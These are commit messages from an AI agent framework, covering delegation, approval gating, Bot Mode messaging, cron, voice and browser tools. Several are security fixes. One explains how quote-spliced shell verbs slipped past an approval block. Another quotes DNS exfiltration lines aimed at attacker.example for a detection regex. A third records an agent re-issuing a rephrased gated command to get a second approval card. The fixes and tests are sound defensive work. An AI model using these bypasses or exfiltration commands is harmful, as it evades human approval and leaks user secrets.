/review takes the last 10 chat messages plus optional instructions,
spawns a full-privilege background subagent (the async delegation
rail) that investigates the referenced work (PR, code, docs), and its
complete review re-enters the spawning session as a normal
async-delegation completion the primary agent can act on.
- agent/review_engine.py: shared engine (snapshot, briefing,
auxiliary.review credential resolution, dispatch, note formatting)
- tools/delegate_tool.py: internal credentials_cfg per-call override
(never model-facing) resolved through the same credential system as
delegation.provider pins
- auxiliary.review config block (provider/model/base_url/api_key/
api_mode); provider auto + empty model = inherit the main model
- Surfaces: CLI process_command, gateway run.py dispatch +
slash_commands handler (binds the approval session key so the
completion routes back), TUI/Desktop live dispatch in
tui_gateway/server.py, CommandDef registry (+Slack /hermes-only cap)
- Docs: delegation.md section + slash-commands.md (both tables)
- Tests: 15 engine tests (sabotage-verified: credentials_cfg and
dispatch tests fail without the fix), 4 gateway handler tests
through the real async rail
The hard block matched raw command text, but a shell resolves quote
splicing (`kick"start"`) and backslash escaping (`kick\start`) into the
literal verb before execution. So `launchctl kick"start" -k
gui/501/ai.hermes.gateway` ran exactly as the blocked `kickstart` form
while both the non-bypassable block and the approval detector missed it —
leaving an approval-bypassing gateway self-lifecycle operation reachable.
contains_gateway_lifecycle_command now runs a second pass over
shlex-tokenized command segments, where quotes and escapes are already
resolved. It stays anchored on a hermes-gateway identifier, so prose and
non-gateway hermes services are unaffected. Because this function is the
single choke point _contains_unsafe_gateway_action calls at every
recursion level, referenced-script and `sh -c` payload scanning inherit
the fix.
tools/approval.py had the same gap for quote splices: backslash escapes
are stripped by _normalize_command_for_detection, but quote splicing in an
ARGUMENT position is not touched by _deobfuscate_shell_word_for_detection
(scoped to command-position words, deliberately — widening it would let
quoted prose match the destructive patterns). It now delegates to the
fixed guard as a last check, so an ordinary pattern match still wins and
keeps its more specific reason string.
Tests: quoted, single-quoted and backslash-spliced verbs across the
launchctl/systemctl/hermes branches, the spliced gateway identifier
itself, a splice nested in an `sh -c` payload (resolves one level deeper,
asserted at the recursive entry point terminal_tool actually calls), plus
negative cases proving prose and non-gateway labels stay unblocked.
Verified on Windows: no regressions — the 10 remaining failures across
tests/tools/test_approval.py, tests/hermes_cli/test_gateway_restart_loop.py
and tests/cron are identical on the unmodified baseline (POSIX file modes,
symlink privileges, and /bin/bash script paths).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
When the TUI exits while the post-turn background review fork is still
mid-request, every further API attempt raises 'cannot schedule new
futures after interpreter shutdown'. The conversation loop treated this
as a retryable API error: un-gated ❌ prints leaked onto the user's
shell AFTER the TUI exited (call #4, #5, #6...) and the loop retried a
doomed request until the interpreter froze the thread.
Fix the class, not the site:
- tools/interpreter_shutdown.py: single shared shutdown predicate
(matches both CPython message variants + sys.is_finalizing()).
- cron/scheduler.py, agent/tool_executor.py: existing per-site
predicates now delegate to the shared home (tool_executor previously
matched only the fuller variant).
- agent/conversation_loop.py: inner retry handler recognizes the
shutdown signal and abandons the turn — one log warning, no print,
no traceback, no debug dump, no retry; outer handler gets the same
guard for shutdown errors raised outside the API call.
- The outer handler's bare print() now honors suppress_status_output
(set by the background-review fork) instead of bypassing it.
Refs #55924#58720 (same class in cron delivery), adjacent to #90683.
The terminal tool lifecycle guard and the gateway stop/restart CLI
guards keyed on the raw _HERMES_GATEWAY=1 env marker, which every
gateway descendant inherits (and importing gateway.run sets it too).
CLI/TUI agent sessions were falsely blocked from documented gateway
management commands. Gate on _is_supervised_gateway_process() instead,
which requires owning the live gateway PID file.
Salvaged from PR #92196 (guard half) by @nbxuhk. Fixes#92560.
The protected agent-instruction gate grants one operation and persists
nothing, but only the TUI/desktop and Runs transports were taught that.
The prompt_toolkit panel, the input() fallback, and the ACP editor menu
still rendered "Allow for session", so a user editing SOUL.md tapped it,
got re-prompted on the next write, and read the gate as broken.
Thread allow_session through prompt_dangerous_approval so a caller that
re-asks every time collapses every surface to once/deny, and cover the
producer-to-transport contract end to end.
- Drop the false fairness claim from acquire_turn_lock's docstring (LOCK_NB
probe + sleep retry gives no arrival-order guarantee; only the budget is).
- logger.debug once when the lock degrades to a no-op on fcntl-less
platforms so silent serialization loss stays diagnosable.
- Document the real worst-case deliver handler hold (120s lock wait + 600s
turn = ~720s) where clients tune their timeouts against it.
- Pin non-reentry: local_delivery_command must stay a raw 'hermes -p' argv —
wrapping it in --run-delivery would make the child contend with its
parent's own flock and fail every relay delivery with target_busy.
- De-flake: the cross-profile test's upper-bound wall-time assert tolerates
loaded CI runners; the wait-duration message assert matches ~Ns generally.
Review follow-up: relayAgentsOn() returned [] on ANY error, so a transient
profiles.list timeout pushed a fresh union roster missing a LIVE machine's
agents — and the gateway-side _target_liveness reads 'absent from a fresh
roster' as definitively offline, refusing enqueues with a false
runtime_offline during the ~60s window. Failure now returns null (distinct
from a genuinely empty list); syncRelayRosters reuses the last good rows
for that connection and prunes the cache when a connection truly leaves
profileRoutes. Source-contract test pins null-on-failure + cache fallback.
Review follow-up: bare \b401\b / \b402\b / \b429\b / \b5xx\b matched any
3-digit token in error text ('line 502', 'took 429 ms'), and server_error
misfires feed AUTO_RETRYABLE — a supervisor could auto-retry a permanent
local failure. Numeric rules now require an 'error code:'/'status:'/'http'
prefix; phrase alternatives (rate limit, server error, overloaded, out of
funds) unchanged. Adds parametrize rows for the false-positive guards and
the previously untested branches (bare 'status: 401', 'upstream server
error', 'model_not_found').
Widen the DM tempfile-leak fix (#91902/#92407) to the sibling sites
PR #92784 introduced:
- tools/bot_relay.py: expose the 6h stale sweep as
cleanup_bot_relay_artifacts() (cleanup_*_cache contract) and wire it
into gateway housekeeping — previously it ran only when the Desktop
drained the outbox, so plaintext envelopes/replies queued while the
Desktop was away could sit on disk forever.
- tui_gateway/methods_bot_relay.py: move the payload write inside the
try/finally so a failed write no longer leaks hermes-relay-dm-*.txt.
- tools/bot_mode_dm.py: _spawn_delivery takes dm_file=None for relay
waiter deliveries, which have no plaintext DM tempfile to reclaim.
The in-band sweep in _write_dm_file only runs when another DM is
written — a gateway that never sends one keeps orphans forever. Expose
the sweep as cleanup_bot_dm_cache() with the same contract as the other
cleanup_*_cache helpers (returns files removed) and wire it into the
gateway housekeeping loop on the hourly media-cache cadence. Also sweeps
legacy hermes-dm-*.txt and hermes-relay-dm-*.txt orphans in the OS temp
root.
Folded in from #92407 (mehmetkr-31), adapted to the runner-owned
cleanup design salvaged from #91902.
A Bot Mode agent invoked by a handoff runs as a short-lived
`hermes -p <bot> chat -Q --query-file ...` process. When it dispatches
its reply via message_agent / bot_relay — spawned as
terminal(background=true, notify_on_complete=true) per the Bot Chat
protocol — the one-shot parent exits as soon as the turn ends. The
reply child writes to a stdout pipe owned by the dying parent and is
destroyed a few seconds later, so the handoff reply is silently lost
while the sender waits for a notification that can never come (#90879).
Fix (class-wide, not DM-specific): before the one-shot exit paths tear
down, the parent now lingers — bounded by the new
terminal.oneshot_completion_wait_seconds config (default 600s, 0
disables) — for every tracked background process spawned with
notify_on_complete=true. Plain background processes (servers, daemons,
watch-pattern monitors) carry no completion contract and are never
waited on.
- tools/process_registry.py: ProcessRegistry.wait_for_pending_completions()
— bounded, interrupt-safe wait over pending notify_on_complete
sessions; reconciles orphaned-pipe exits (#17327) each pass so a
wedged reader cannot burn the full bound; KeyboardInterrupt aborts
the linger without skipping the caller's durable teardown.
- cli.py: _finalize_single_query() lingers first, before the durable
session flush / cleanup (covers -q and -Q, i.e. the DM recipient
shape and bot_relay waiter spawns from one-shot agents).
- hermes_cli/oneshot.py: same linger before agent.close() (which
kill_all()s the task's processes) on the -z path.
- hermes_cli/config_defaults.py: terminal.oneshot_completion_wait_seconds.
Tests: tests/tools/test_oneshot_completion_linger.py — unit coverage of
the wait semantics (no-op, completion, timeout, task filter, disable,
config fallback, reconcile path), exit-path ordering contracts, and a
real-process E2E: a short-lived python parent spawns a delivery child
through the real ProcessRegistry, lingers, exits, and the delivery
completes; sabotaging the linger makes the same E2E reproduce the
destroyed-delivery symptom.
Fixes#90879
Lowest-hop voice path in both directions for desktop + remote gateway:
mic audio goes straight to the profile's STT provider and reply text is
synthesized on the desktop with the profile's TTS provider. The
desktop-gateway link carries only text (which the chat stream carries
anyway). No second key store: GET /api/audio/voice-config returns the
profile's resolved provider/model/language/key using the exact resolution
chains transcription_tools/tts_tool use, over the authenticated REST
channel. Keys live in renderer memory only.
Backend:
- tools/voice_client_config.py: single resolver; per-provider client
wire shapes (openai-multipart, xai-stt, elevenlabs-stt, openai-speech,
elevenlabs-tts). Server-host-only providers (local whisper, edge,
command/plugin) and missing credentials resolve to {mode: relay}.
xAI OAuth stays relay (bearer refreshes server-side).
- web_server.py: GET /api/audio/voice-config, profile-scoped via the
same _config_profile_scope seam as /api/audio/transcribe.
- config_defaults.py: voice.client_direct gate (default true).
Desktop:
- lib/voice-client-direct.ts: config fetch keyed by (connection,
profile) with 60s TTL, provider-direct STT + TTS calls, sentence
cutter mirroring the server pipeline's contract.
- Dictation (use-prompt-actions + session-tile) tries client-direct
first; null -> existing relay unchanged; provider rejections surface.
- voice-playback.ts: client-direct speech session as the top rung of
startSpeechStream/playSpeechText; WS relay + POST fallback unchanged
below it. Barge-in via the same stopVoicePlayback sequence bump.
Validation: 13/13 backend E2E (real temp HERMES_HOME + real resolution),
live FastAPI TestClient E2E (direct + gate-flip), 15/15 client tests
(wire shapes, scope-keyed caching, rejection surfacing, sentence cutter),
sibling suites 72/72 + 36/36, tsc + eslint + ruff clean.
Docs: voice-mode.md client-direct section ships in this PR.
Review pass findings on the force_jpeg change:
- Broaden the JPEG mode guard from {RGBA, P} to 'not in {RGB, L}':
force_jpeg newly routes PNG inputs to the JPEG encoder, and an
LA-mode PNG (grayscale+alpha) would crash img.save() with
'cannot write mode LA as JPEG'.
- browser_use_cli's _native_screenshot_result is the THIRD native
history-embed site: it baked the data URL into a _multimodal tool
result with the 5 MB one-shot default and no dimension cap. Apply
the same 256KB/1568px/force_jpeg history-reuse policy as the two
sites already migrated.
PNG has no quality ladder, so a text-dense screenshot over the 256KB
history-embed cap (#92699 / #92783) could only shrink by halving
dimensions — 1568px dropped to ~784px and on-screen text became
unreadable, the exact fidelity screenshot QA depends on.
Add force_jpeg to _resize_image_for_vision: the two history-embed call
sites (vision_analyze native, browser_vision native) re-encode
resize-needing screenshots as JPEG so the quality ladder (85/70/50)
absorbs the byte pressure and the readable resolution survives.
Under-cap images are untouched and stay PNG; one-shot/reactive paths
keep their existing format behavior.
Flagged during the #92783 salvage review.
Connections ARE the peer set: every gateway connected to the Desktop
(local, remote URL, SSH, Hermes Cloud, docker) is now message_agent-
reachable. The Desktop relays over the persistent sockets it already
holds — roster sync per connection, envelope drain/deliver/reply loops —
so cross-connection DMs work exactly like local ones, replies included.
Also fixes the legacy-SOUL gate bug: profiles whose SOUL.md carries the
old plugin-appended protocol silently lost the message_agent tool
because the injection/execution gates keyed on protocol-section
non-emptiness instead of managed-install.
browser_vision's native fast path base64-encoded screenshots at full
resolution and baked them into the tool result uncapped — the exact
sibling of the vision_analyze path #92699 fixed. Apply the same
proactive 256KB/1568px resize before the embed enters reusable history.
Fail-open by design: without Pillow the resize helper falls back to raw
bytes and the compressor's keep-newest pass still retires stale embeds.
Sibling-gap follow-up for the #92725 salvage; the shared-cap approach
mirrors the policy-owner idea from #92748.
Co-authored-by: joaomarcos <joaomarcosdias444@gmail.com>
vision_analyze baked up to 4 MB / 7900px screenshots into immutable
history, so every later turn re-sent ~400K chars. Cap embeds at 256 KB
and 1568px (the long edge models actually read) so screenshot QA no
longer blows the context.
The dns_exfil pattern matched the 'host' DNS command inside flag names
like llama.cpp/vllm's --host 127.0.0.1 --port $PORT, so any plugin
shipping a .sh launcher script was blocked as dangerous. A negative
lookbehind (?<![-/]) excludes flag/path contexts while real DNS-lookup
exfiltration (host $SECRET.attacker.example, nslookup $X, dig $(...))
still trips the pattern.
Salvaged from PR #92382 (regex fix + regression test); scan-scoping
half rejected separately.
Follow-up to the session-scoping fix: _get_sudo_password_cache_scope()
and _resolve_container_task_id() carried byte-identical copies of the
HERMES_SESSION_KEY lookup (contextvar + os.environ fallback). Collapse
both onto one helper adopting the bare-import convention approval.py
already uses — get_session_env() implements the fallback internally, so
the old try/except could only fire on import failure, where silently
degrading to process-global semantics would reintroduce exactly the
cross-session contamination the fix prevents.
_resolve_container_task_id always returned "default", so _active_environments
shared a single SSHEnvironment across all WebUI sessions. When a user switched
from profile A (ssh_host=10.0.0.1) to profile B (ssh_host=10.0.0.2), the new
session found _active_environments["default"] already set to A's SSHEnvironment
and reused it — silently running every command on the wrong remote host.
Fix: when HERMES_SESSION_KEY is present (set per-session by the WebUI streaming
layer and per-message by the gateway via contextvars), return "session:<key>"
as the cache key instead of "default". Each session now owns its own slot in
_active_environments and always creates an environment from its own profile's
TERMINAL_SSH_HOST / TERMINAL_ENV config.
Behaviour unchanged in CLI mode (no HERMES_SESSION_KEY → still "default").
RL/benchmark task overrides (register_task_env_overrides) are unaffected.
Subagent task_ids inside a WebUI session collapse to "session:<key>" so they
continue to share the parent session's container.
Five new regression tests added to test_shared_container_task_id.py.
Bot Mode agents now DM teammates through a real tool instead of
hand-assembled shell commands. message_agent(target, message) validates
the target against the live roster, applies the sender's attribution
prefix server-side, and delivers over the existing proven transports
(hermes -p ... --query-file for local teammates, hermes peer dm for
peer gateways) as a tracked background process with notify-on-complete
— fire-and-forget, the reply wakes the sender on a later turn.
Containment: the schema is injected per-turn ONLY into a bot's
canonical 'Bot Chat' session on Bot-Mode-managed installs (same gate as
the protocol section); it is never registered in the tool registry or
any toolset, and dispatch re-gates on the session title so a forged
call from any other session refuses. The gate is session-stable, so the
tool list stays byte-identical across turns (prompt-cache safe).
The protocol section is rewritten to teach the tool and now carries the
teammate roster WITH ROLES (Bot Mode title + profile description), so
bots know who does what before picking a recipient. Roles and a
protocol version salt join the capability fingerprint: existing eternal
Bot Chats adopt the v2 protocol + tool with one epoch refresh, and a
rename/description edit refreshes the roster on the next message.
deliver='bot-chat[:<profile>]' is a machine-local pseudo-platform: the
scheduler delivers job output as a real inbound turn in the target
profile's canonical Bot Chat via the chat CLI lane (--in ~ -c "Bot Chat"
--create-if-missing -Q --query-file), the same lane Bot Mode
agent-to-agent messages use. The bot reads the output, acts on it, and
responds in its chat — instead of the output only landing in Run history.
- cron/scheduler.py: token parsing, target resolution (own profile /
named local profile / unknown -> skipped with warning), subprocess
delivery lane with cron.bot_chat_delivery_timeout_seconds (default
600s), preflight exemption, and bot-chat entries in
cron_delivery_targets() for UI pickers. Excluded from 'all' by design.
- tools/cronjob_tools.py: create/update-time validation — named profiles
must exist on this machine (fail at create, not at 3am); deliver schema
documents the new token.
- tui_gateway/methods_tools.py: cron.manage add forwards deliver.
- hermes_cli/profiles.py: list_profile_names() cheap name-only scan.
- hermes-bots plugin: Create Cronjob dialog gains a 'Send results to'
picker (Run history only / <bot>'s chat); bot-chat jobs send the BARE
token on the profile-scoped create so Desktop-side aliases can never
name a profile the backend doesn't have.
- Docs: user cron guide, automate-with-cron, cron-internals.
Machine-local by construction: names resolve only against the executing
machine's ~/.hermes/profiles/, so overlapping profile names across
multiple connected gateways are unambiguous.
The router treated any server-stamped principal as a bound lane, so with the
flag ON every authenticated dashboard/API session lost the legacy browser
backend even when no extension controller ever registered (scope_for_session
returns None -> ControllerUnavailable, no fallback) — while check_fns still
advertised the tools via the legacy OR-gate.
New broker.lane_registered() distinguishes the two cases:
- lane never registered -> generic callers keep the legacy backend
- lane registered (controller offline/ambiguous) -> fail closed, unchanged —
a control-this-tab session never silently jumps to another browser
Also makes the four non-allowlisted wrapped tools (cdp/console/vision/
get_images) behave correctly for never-registered lanes (legacy backend)
while staying fail-closed for registered lanes.
Surfaced during review of PR #85351.
Generic Hermes callers still use the existing browser backend when extension control is disabled or no server-bound controller identity exists.
Once the gateway binds a controller identity, missing scope, disconnect, or capability loss now fail closed instead of silently switching a control-this-tab request to another local or cloud browser. Covers the schema-build to dispatch disconnect race.
Treat unexpected controller transport loss as recoverable until each command's original deadline. Same-identity reconnects refresh transport and capability state, flush deferred cancels before new dispatch, and can complete already-started work.
Keep explicit detach and different controller/browser identity replacement terminal, owner-gate every inbound lifecycle frame, distinguish slow in-flight WebSocket writes from real send failures, and exclude browser-control session identity from shared shell snapshots.
Keep extension control opt-in and preserve existing browser backends unless an exact server-bound controller is available. Centralize protocol and capability admission across API and dashboard transports, make selected-controller results authoritative, bypass stale availability caches only inside bound requests, and serialize structured results for the existing tool contract.
Add a real browser_snapshot route-table/WebSocket E2E, strict admission and ownership regressions, public configuration and protocol documentation, and tests proving feature-off/no-controller compatibility.
Route the model-supplied target through _bound_error_text so a huge
bogus target can't bloat context, and restore the "Use 'memory' or
'user'" hint. Follow-up to HexLab98's review note on the salvage.
Normalize malformed memory config during initialization and bind per-target write permissions to the session MemoryStore so direct and staged writes cannot update a disabled built-in store.
Reuse the built-in store predicate during agent initialization and evaluate the config-backed memory tool check immediately after edits instead of applying the generic external-probe TTL.
The CLI (hermes cron create/edit) routes through cronjob(); removing the
parameter outright broke that lane (CI slices 6/9). The parameter is back
on the function, but CRONJOB_SCHEMA and the registry handler still omit
it — same pattern as the intentional model/provider/base_url omission.
New test proves a hallucinated reasoning_effort arg through the model
dispatch is dropped.
Standing policy: models do not make model-configuration decisions (the
only exception is user-defined profile selection in Bot Mode/kanban).
The per-job reasoning pin stays fully functional via
`hermes cron create/edit --reasoning-effort` and the job store; the
cronjob tool still SURFACES the pin in listings but cannot set it.
A schema-absence test pins the policy.
A cron job can now pin its own reasoning (thinking) effort, independent
of the global agent.reasoning_effort and per-model reasoning_overrides.
Heavy scheduled analyses can run at high while cheap recurring jobs run
at minimal, without touching the fleet-wide default.
- cron/jobs.py: new optional job field, validated at the storage choke
point against the canonical grammar via the shared
hermes_constants.parse_reasoning_effort (spelling-only; capability
clamping stays owned by the provider transports at send time, same as
config-set effort). Empty string clears on update; invalid values
raise ValueError before anything persists. Not a drift-guard axis.
- cron/scheduler.py: _resolve_job_reasoning_config resolves per-job pin
> agent.reasoning_overrides > agent.reasoning_effort at fire time,
after the auth-fallback model swap (the pin is model-independent by
design). A stored value that no longer parses warns and falls back to
config resolution instead of killing the tick.
- tools/cronjob_tools.py: reasoning_effort on BOTH mutation verbs
(create and update), conditional key in _format_job, schema documents
grammar/precedence/transport clamping/clear semantics. Agent-settable,
unlike model/provider pins: it cannot redirect spend to a different
model.
- hermes cron create/edit --reasoning-effort (empty string clears).
- Docs: cron feature page tip + CLI reference rows.
Tests: tests/cron/test_cron_reasoning_effort.py (32) — store contract,
scheduler precedence incl. byte-identical absent-field behavior and
garbage fallback, tool create/update/clear/error paths, schema surface.
Three live findings from rc.4 staging, all on the relay-fronted Slack
path, all with the failure observed in live logs before the fix:
1. Approval-send timeout is AMBIGUOUS, not failed (no re-ask).
send_exec_approval through the connector can time out with the card
already rendered — the connector may ack after the deadline (slow
platform API call, transient backpressure, event-loop stall) — and
the timeout-as-failure path re-sent and produced duplicate cards.
The outcome is now tri-state: sent / failed / ambiguous. Ambiguous =
no re-send, no text fallback; the prompt registration stays armed so
a late tap still resolves. Only a definite send error falls back to
text.
2. pending_approval tool results forbid re-issuing the command.
With one card correctly armed, the agent could still mint a SECOND
card by re-running a rephrased variant of the gated command after
reading the pending_approval tool result (observed live: same
command re-issued in a different form, two cards). The tool message
now instructs: do not re-run/rephrase; wait or report pending.
Applied to both the terminal and execute_code arms.
3. Draft interim AND seal frames carry format_hints.
format_hints are stamped on send, edit, and send_for_platform, but
both draft-frame builders (send_draft interim + _seal_open_draft
seal) shipped bare metadata. A streamed final therefore arrived at
the connector hintless and sealed as a plain code block while
non-streamed sends rendered native markdown blocks (observed live:
language-tagged block on send/edit, downgrade on streamed seal).
Both sites now stamp _with_format_hints_for_chat
(destination-resolved, same pattern as the existing lanes).
Verified live after the fix against the platform's stored message
payload: rich_text_preformatted with language field on a streamed
seal.
Tests: tri-state outcome unit tests (5), draft/seal hint stamping + knobs-
off regression control (2, RED-first), existing format-hints suite intact
(14/14). Mutation-verified: reverting the adapter hunk sends
test_draft_interim_and_seal_frames_carry_hints red; restore -> green.
Boundary sweep (text egress lanes crossing the frame contract): send ✓
(pre-existing) edit ✓ (pre-existing) send_for_platform ✓ (pre-existing)
draft-interim ✓ (this PR) draft-seal ✓ (this PR); task_card lane carries
no text content — exempt.
The one-shot keyless extract rescue (d1eefe6ac) treated ANY whole-batch
failure as a backend outage. A website-policy refusal also arrives as a
failed batch, so blocked URLs were routed through the free-tier ring:
in CI the ring's live fetch attempt returned a result for the wrong URL
or a bare None error, turning test_website_policy reds on main (slices
8/12 and 12/12) — and in production it would fetch content the user
explicitly blocked.
_rescue_extract now partitions policy blocks (blocked_by_policy flag or
policy error text) out of the rescue set: they are preserved verbatim,
only genuine failures ride the ring, and order/merge parity is kept.
Two sabotage-verified regression tests pin the class.
One conflict, gateway/relay/adapter.py send_for_platform: main added the
turn-final draft-seal interception (_sfp_metadata with the _interim_send
marker stripped, seal-or-fall-through); this branch added format-hint
stamping on the same frame. COMPOSED: the plain-send frame now stamps
_with_format_hints_for_platform over _sfp_metadata (the stripped copy),
so both the seal fall-through contract and the cron-lane block hints
hold. Note: the seal frame itself (op:draft final) does not stamp hints
— cron sends are never open drafts, so the flagship path is unaffected;
noted as a connector-PR follow-up for streamed interactive finals.
Every drive_preview action answered with the entire inventory — around 120
elements of ref, role, label, and an up-to-eight-rung `:nth-child` selector
chain. On a real app shell that was ~24.5k characters, re-sent after every
click, so a ten-step task paid for ten copies of a page that had barely moved.
Handles are now durable and legible. An element is named after what it is and
what it says — `btn-sign-in`, `inp-email`, `srch-search-projects` — minted once
per page and never reused, with duplicates disambiguated as `btn-edit`,
`btn-edit-1`. Each one remembers a stable attribute, its role, its accessible
name, and the nearest landmark it sits in, so when a framework destroys the
node and builds a new one the handle moves across and the agent is told
`rebound` rather than being handed a removal it has to react to and an addition
it has to re-read. The re-bind ladder is anchortree's (Apache-2.0), minus its
geometry rung, which can never clear the threshold on its own.
Because the handles hold, the first look at a page returns the inventory and
every look after it returns only what moved. `changed` carries the ref and
whichever of label/value/disabled actually shifted — role and selector are
absent by construction, since a change in either would mean the re-bind ladder
was looking at a different element. A delta gives way to a full re-read when
half the page is new, where there is nothing left to reuse.
The selector column is gone with it. It was 74% of the inventory on an
85-element page, nothing downstream ever read it, and a positional chain is
wrong the moment a sibling appears. An `#id` or `[data-testid]` survives when
the page offers one; everything else is addressed by handle.
Legibility is what makes the delta work rather than a nicety. `+ btn-sign-in`
on turn nine reads on its own, where `+ @e42` sends the model back to an
inventory twenty thousand tokens ago.
Measured on an 85-element app shell: 18,693 -> 4,930 characters for a baseline,
and a steady turn that moved two things costs ~200.
The in-app browser was a one-way mirror. open_preview put a page in the pane
and read_preview read its text back, but nothing could touch it. A click meant
falling back to the browser_* tools, which drive a separate Chromium the user
cannot see — so "log into this and pull my invoices" happened in a different
browser from the one on screen, with none of the sessions the user is already
signed into.
Four pieces, and they only make sense together:
· an in-page engine that inventories what is interactable and performs the
verb, injected as source because it has to run inside the guest page;
· the preview.act.request bridge from the gateway into the pane;
· drive_preview, for acting: elements, click, type, scroll, press, and the
pane's own back/forward/reload;
· annotate_preview, for marking without acting.
Those last two started as one tool doing two unrelated jobs. Leaving a mark is
not an action — it outlives the turn that drew it — so it gets its own verb,
and the interaction verb gets a name that says what it does.
Gating is the existing surface rule: desktop_ui folds in on session
source: 'desktop', and the bridge refuses to act for a background session, so a
turn running behind the user's back cannot reach into the page they are working
in.
Two details worth a reviewer's attention. Typing assigns through the
prototype's value setter, because React shadows value with its own accessor and
ignores an input event whose value it believes it already wrote — a plain
el.value = … types into a field that snaps back on the next render. And
clicking replays the pointer/mouse pair before activation, because frameworks
bind to mousedown as often as to click.
build_session_key embeds the workspace segment (scope_id) in every Slack
dm/group/thread key, but both cron seed helpers built their SessionSource
without it: the seeded row keyed agent:main:slack:dm:<chat>:<thread> while
a real scoped reply keys agent:main:slack:dm:<team>:<chat>:<thread> — a
row no reply ever resolves to. DMs were rescued only incidentally by the
legacy-key claim-once migration; scoped channels/threads got continuation
amnesia, and identical channel ids in two workspaces could collide.
Capture HERMES_SESSION_SCOPE_ID into the cron origin (_origin_from_env —
the session-context var async_delegation already snapshots), add scope_id
to _seed_cron_thread_session/_seed_cron_channel_session, and pass the
origin's scope at all three seed call sites.
Tests: scoped dm-thread / channel-thread / flat-channel seed-vs-reply key
equality through the real build_session_key, plus a two-workspace
non-collision guard.
When the chosen/keyed backend fails a web_search or web_extract call
(bad key, upstream outage, 5xx, raised exception), that single call
retries on the keyless free-tier ring instead of erroring. The next
call attempts the chosen backend again — no sticky failover, no state.
Resolves the keyed half of #78984/#32159 (keyless half landed in the
ring PR).
- tools/web_tools.py: _rescue_eligible (keyed ring vendors + non-ring
backends eligible; keyless-mode calls excluded — they already walked
the ring), _rescue_search/_rescue_extract (search annotates
rescued_from + backend_error naming the original failure and the
retry-next-call semantics; extract rescues only whole-batch failures,
partial failures pass through untouched; rescue failure preserves the
ORIGINAL backend error with the rescue note appended)
- both dispatchers wrap the provider call: failure-results AND raised
exceptions rescue; ineligible paths re-raise unchanged
- web.keyless_rescue config key (default true; implicitly off when
keyless_fallback is off); docs updated
Live E2E: keyed Tavily with an invalid key 401'd and the call was
served by the real ring with the rescue annotation; a second call
re-attempted Tavily first (statelessness proven); whole-batch extract
rescue returned real page content. 13 new tests; 67 green across the
keyless suites.
Fresh installs with zero web credentials now rotate web_search/
web_extract across FIVE vendors' public free tiers — Exa, Parallel,
Tavily, Firecrawl, Keenable — instead of a 2-vendor 50/50 split, with
next-in-line ring failover on rate limits (multi-hop until a vendor
serves or the ring is exhausted; served_by marks the actual vendor).
- plugins/web/keenable/: new bundled provider (search via /v1/search,
fetch via /v1/fetch; keyed Bearer or keyless with the mandatory
X-Keenable-Title app header). Credit: integration proposed by
Ilya Gusev (Keenable) in #49758; Free/Paid picker rows included.
- keyless_mcp: tavily/firecrawl/keenable keyless search+extract
wrappers, _KEYLESS_RING + per-process round-robin cursor (seeded by
the random session id, advances per unpinned request), pinned-vendor
entry (pin = start there; rotation off), paid-pinned vendors excluded
from the ring entirely.
- Tavily/Firecrawl providers route keyless traffic through the ring;
both are now default-on ring members (no longer selection-gated).
- web_tools/registry: keenable in backend sets, auto-detect, availability
probes; _keyless_preference() delegates to the ring cursor.
- KEENABLE_API_KEY in OPTIONAL_ENV_VARS; docs updated (ring semantics).
Live E2E: all 10 vendorXcapability paths (5 search + 5 extract) served
real results keyless; rotation cycled all five vendors over 5 dispatch
calls; double-throttle failover walked exa->parallel->tavily.
Teknium